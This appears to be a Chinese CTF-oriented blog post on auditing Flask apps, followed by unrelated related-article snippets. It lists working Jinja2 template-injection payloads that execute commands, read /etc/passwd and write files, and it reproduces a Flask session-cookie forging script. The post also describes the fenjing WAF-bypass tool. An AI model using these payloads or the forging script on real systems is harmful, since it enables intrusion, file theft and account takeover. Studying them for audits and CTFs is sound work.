代码审计-Python Flask

news/2024/10/15 21:59:37/

1.Jinjia2模版注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。jinja2是Flask作者开发的一个模板系统,起初是仿django模板的一个模板引擎,为Flask提供模板支持,由于其灵活,快速和安全等优点被广泛使用。在jinja2中,存在三种语法

python">表达式 {{ ... }}  
用于装载字符串、变量、函数调用等
语句 {% ... %}  
用于装载控制语句,比如if判断、for循环等
注释 {# ... #}  
用于装载一个注释,模板渲染的时候会被忽略掉

模版注入本质上是通过数组字符串类获取到Object类,然后再从Object身上获取Object的其他子类,其中有的子类可以执行命令

2.获取基类:

python">一:使用__base__获取
"".__class__.__base__
二:使用__bases__获取
"".__bases__[0]
三:使用__mro__获取
"".__class__.__mro__这样先查看获取到的数据,确定object类在list中的第几个
"".__class__.__mro__[1]

3.获取子类列表:

python">"".__class__.__base__.__subclasses__()
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()

4.寻找getshell类:subprocess.Popen、site._Printer、_sitebuiltins._Printer、os.system方法

python">{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__['popen']('whoami').read()}}
{{"".__class__.__bases__[0].__subclasses__()[num].__init__.__globals__.__import__('os').popen('whoami').read()}}
num的具体数值根据shell类在subclasses中index确定(注意index是从0开启计数)<class '_sitebuiltins._Printer'> 执行命令
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}<type 'file'> 读写文件,file类位置一般为40,直接调用
{{"".__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__base__.__subclasses__()[40]('/var/www/html/input.txt', 'w').write('hello123')}}<class 'site._Printer'> 直接用os的popen执行命令(绕过globals)
{{"".__class__.__base__.__subclasses__()[71].__init__['__glo'+'bals__']['os'].popen('ls').read()}}
如果system被过滤,用os的listdir读取目录+file模块读取文件:
{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}<class 'subprocess.Popen'> 执行命令
{{''.__class__.__mro__[1].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}<class 'warnings.catch_warnings'> 执行命令
调用eval
{{[].__class__.__base__.__subclasses__()[59].__init__['__globals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
{{''.__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__['__import__']('os').__dict__['popen']('ls').read()}}# 读写文件 read(),write()
{{''.__class__.__mro__[1].__subclasses__()[59].__init__.__globals__['__builtins__'].['file']('/etc/passwd').read()}}调用system方法。(不包含system,可以绕过过滤system的情况)
{{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')}}
利用commands进行命令执行
{{{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

5.注入样例
[WesternCTF2018]shrine(Jinja2模板注入)
https://www.cnblogs.com/dghh/p/18311335

6.焚靖工具

pip install fenjing
python -m fenjing webui

焚靖是一个针对CTF赛事中常规Jinja SSTI题目开发的WAF检测与绕过工具。
焚靖融合了CTF赛事中常见的SSTI绕过技巧,可以灵活组合使用各类绕过技巧全自动构建payload绕过WAF。
其支持自动扫描目标网站中的form元素进行攻击,也支持手动指定payload提交方式让其自动分析并产生payload。
它还支持在攻击成功后直接返回一个模拟终端方便选手执行任意Linux Shell指令。也可以在攻击成功后生成并返回对应的payload
焚靖既可以作为命令行程序使用,也可以作为python库导入到脚本中,其还提供一个网页UI方便不熟悉命令行的选手使用。
输入命令行后直接到网页界面操作
在这里插入图片描述
7.cookie伪造
flask的session是通过加密后保存在cookie中的,有加密就需要有解密用的密钥,只要用到了flask的session模块,就一定要配置’SECRET_KEY’这个全局宏。一般设置为24位的字符。Serect-key可以通过{{config}}或读取源码的方式获得,有key以后就是可以通过flask-session-cookie-manager-master来伪造session:

python">import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))

伪造举例:
https://blog.csdn.net/a3320315/article/details/104272833


http://www.ppmy.cn/news/1539633.html

相关文章

多种方式连接和管理 Oracle 数据库详解

连接/管理方式描述优点缺点使用场景SQL*Plus命令行工具&#xff0c;用于执行SQL、PL/SQL以及各种Oracle命令。轻量级&#xff0c;无需图形界面&#xff1b;适合脚本自动化。用户界面不友好&#xff1b;功能相对有限。开发者快速查询&#xff0c;数据库维护。SQL Developer免费的…

Yolov8代码详解,入门代码讲解

看不懂的代码可以复制进讯飞星火问问AI。以下是逐语句调试得出的执行顺序。 首先在根目录新建一个py文件&#xff0c;能够训练数据。 from ultralytics import YOLO from ultralytics.utils import DEFAULT_CFG from datetime import datetimecontroller1def traindata():cur…

成绩分析报告中的统计指标算法

统计指标 成绩分析报告中涉及到很多统计指标&#xff0c;包括满分、平均分、最高分、最低分、得分率、难度、区分度、标准差、标准分、信度等&#xff0c;下面将概念较复杂的指标进行简单说明。 得分率 考生在某一题或整卷的得分情况&#xff0c;计算公式&#xff1a;得分率…

【前端】JQ验证每个单选按钮是否已经选择

验证每个单选题是否都已经选择&#xff0c;其中每个input中不带name值&#xff0c;直接遍历input[type"radio"]验证 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewpor…

Java面经--JVM篇

前言&#xff1a;资料由本人从网上寻找加上本人的个人理解进行编写总结&#xff0c;为的就是帮助自己快速掌握知识点&#xff0c;如有疑问或错误的点&#xff0c;欢迎评论区留言或者私信。 1.什么是JVM&#xff1f; JVM即Java虚拟机&#xff08;Java Virtual Machine&#xff0…

Flash Attention:高效注意力机制的突破

近年来&#xff0c;注意力机制(Attention)已成为自然语言处理和深度学习领域的重要工具。然而&#xff0c;传统的注意力实现在处理长序列时存在计算和内存效率低下的问题。为了解决这一挑战&#xff0c;研究者们提出了Flash Attention&#xff0c;一种快速、内存高效的注意力算…

使用 `fork()` 和 `waitpid()` 进行进程管理的详解

使用 fork() 和 waitpid() 进行进程管理的详解 在 C/C 编程中&#xff0c;fork() 和 waitpid() 是处理进程创建和管理的关键函数。本文将深入探讨 fork() 的用法、参数解析、wait() 和 waitpid() 的区别&#xff0c;以及如何正确获取子进程的退出状态。 1. fork() 函数概述 …

单链表算法题(一)(超详细版)

前言 : 通过算法题 &#xff0c; 学习解决问题的思路 &#xff0c; 再面对类似的算法题时 &#xff0c; 能快速定位解决方案 一 . 移除链表元素 移除链表元素 : . - 力扣&#xff08;LeetCode&#xff09; 思路一 &#xff1a; 通过遍历链表找到值为val 的结点 &#xff0c; …